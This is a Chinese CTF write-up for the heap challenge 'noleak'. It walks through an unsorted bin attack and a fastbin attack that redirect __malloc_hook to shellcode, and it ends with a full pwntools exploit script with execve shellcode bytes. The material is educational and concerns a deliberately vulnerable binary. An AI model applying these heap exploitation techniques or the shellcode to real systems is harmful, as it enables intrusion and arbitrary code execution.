带着问题的学习是有效的
例题:攻防世界noleak ,这题解法好像有多种但是我是刚接触堆也是抱着学习的姿势学习攻击思路,这里就先例举我看明白的2种方式(爆破(在爆破__malloc_hook文章里面)、unsort bin攻击)
在ida分析后得到以下结果:
总结:
1.用于保存chunk指针的bss数组最多存储10个
2.free时有double free、uaf漏洞
3.可以编辑free chunk数据,有堆溢出漏洞
4.因为程序简单但是因为开了got不可写的措施导致题目有了很多玩法
没有开NX那么首先当然是shellcode,只要把shellcode放入一个指针处,然后将执行流指向它就可以getshell了
使用unsort bin攻击(最快的方式)
那么更具它的特性我们来编写exp
#start
add(0x100,'A'*0x100) #为了方便区别这里0x100就是small bin ,0x100是为了填充满chunk这样便于在调试时区分堆空间
add(0x60,'B'*0x100) #1.防止free上个chunk被top吃掉 2.下面要进行fast bin attack
dele(0)
target = 0x601060 #这里需要给上面留出0x8的空间因为fast bin attack需要构造的size位是malloc 第二次才用的上的,为了保证第一次malloc不会破坏size位
#unsort bin attack
payload = p64(0) + p64(target-0x10) #修改bk值
edit(0,len(payload),payload)
add(0x100,p64(0))
那么最后的执行效果如图: 已经成功的写入main_arena+88的地址到了程序用于存放chunk指针的ptr区
这里解释下为什么目标地址处要是0x601060给0x601058留了0x8的空位,因为下面我们进行fast bin attack时需要调用malloc2次,那么程序会默认在0x601058处开始进行添加chunk指针,那么那个被修改fd的chunk就会放置0x601058就不会覆盖到main_arena+88的值,从而可以进行正常的构造0x7fsize位的fake chunk
好接下来就是用fast bin的特性将fast chunk放置任意地址处,然后进行任意数据写:
首先将chunk1进行释放就是前面用来隔绝small chunk的fast chunk,此时它会进入到fast bin里面,因为将fast chunk拿出后进对它的size进行判断是否属于该类fast bin的大小范围,反之则会进行报错,fast bin attack攻击特性如图一,报错信息如图二:
那么我们在修改fd指针时就需要对目标地址进行偏移,通过gdb调试可看到一般情况下在目标地址处减去0x3就会把地址的头部分给偏移出来如图所示:
那么我们将0x601070-0x3设为fast chunk的fd那么就可以绕过检查从而进行fast bin attack攻击,因为这套思路前后联系较紧所以为什么要选0x601070为目标地址后面会讲到 exp如下:
#fast bin attack
dele(1) #将fast chunk放入fast bin
edit(1,0x8,p64(target - 0x3)) #修改fd指向目标地址,malloc2次后即可拿到地址处chunk
add(0x60,p64(0))
add(0x60,'\x00'*0x3 + p64(target) + p64(0x601040)) #此时就拿到了目标地址的data指针 然后即修改buf区的数据
此时的ptr空间如下:
那么这里就构造了一个完美rop链条了,接下来就可以通过改变chunk的内容使__malloc_hook
指向我们的shellcode了,
-
编辑0x601070的chunk覆盖最后一字节为\x10使它变为__malloc_hook , 那么自然的0x601060保存的指针就是 malloc_hook
-
然后编辑0x601060的使__malloc_hook指向上面的0x601040(ptr[0])
-
编辑0x601040的值为shellcode
exp:
edit(6,1,p8(0x10))
edit(4,0x8,p64(0x601040))
edit(7,len(sh),sh)
raw('end')
上面操作后的内存空间:
此时可以看到__malloc_hook已经指向shellcode了,那么就只需要调用malloc就行
最后的完整exp:
# -*-coding:utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#coneext.terminal = ['tmux' , 'splitw', '-h']
SigreturnFrame(kernel = 'amd64')
binary = "./noleak"
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("47.108.195.119","20113")
e = ELF(binary)
#libc = ELF(libc_file)
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()
def dbg():
gdb.attach(p)
pause()
def success(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
#lg('canary',canary)
def raw(s):
log.success('当前执行步骤 -> '+s)
pause()
def add(Size,Data):
sla('Your choice :','1')
sla('Size:',str(Size))
sa('Data:',Data)
def dele(Index):
sla('Your choice :','2')
sla('Index:',str(Index))
def edit(Index,Size,Data):
sla('Your choice :','3')
sla('Index:',str(Index))
sla('Size:',str(Size))
sa('Data:',Data)
sh=b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
ptr = 0x601040 #有uaf漏洞的chunk
malloc_hook_offset = (libc.symbols['__malloc_hook'] & 0xfff) - 0x23 #取最后3位
#start
add(0x100,'A'*0x100) #为了方便区别这里0x100就是small bin ,0x100是为了填充满chunk这样便于在调试时区分堆空间
add(0x60,'B'*0x100) #1.防止free上个chunk被top吃掉 2.下面要进行fast bin attack
dele(0)
target = 0x601060 #这里需要给上面留出0x8的空间因为fast bin attack需要构造的size位是malloc 第二次才用的上的,为了保证第一次malloc不会破坏size位
#unsort bin attack
payload = p64(0) + p64(target-0x10) #修改bk值
edit(0,len(payload),payload)
add(0x100,p64(0))
#fast bin attack
dele(1) #将fast chunk放入fast bin
edit(1,0x8,p64(target - 0x3)) #修改fd指向目标地址,malloc2次后即可拿到地址处chunk
add(0x60,p64(0))
add(0x60,'\x00'*0x3 + p64(target) + p64(ptr)) #此时就拿到了目标地址的data指针 然后即修改buf区的数据
#修改指向值
edit(6,1,p8(0x10))
edit(4,0x8,p64(ptr))
edit(7,len(sh),sh)
raw('end')
sla('Your choice :','1')
sla('Size:',str(1))
it()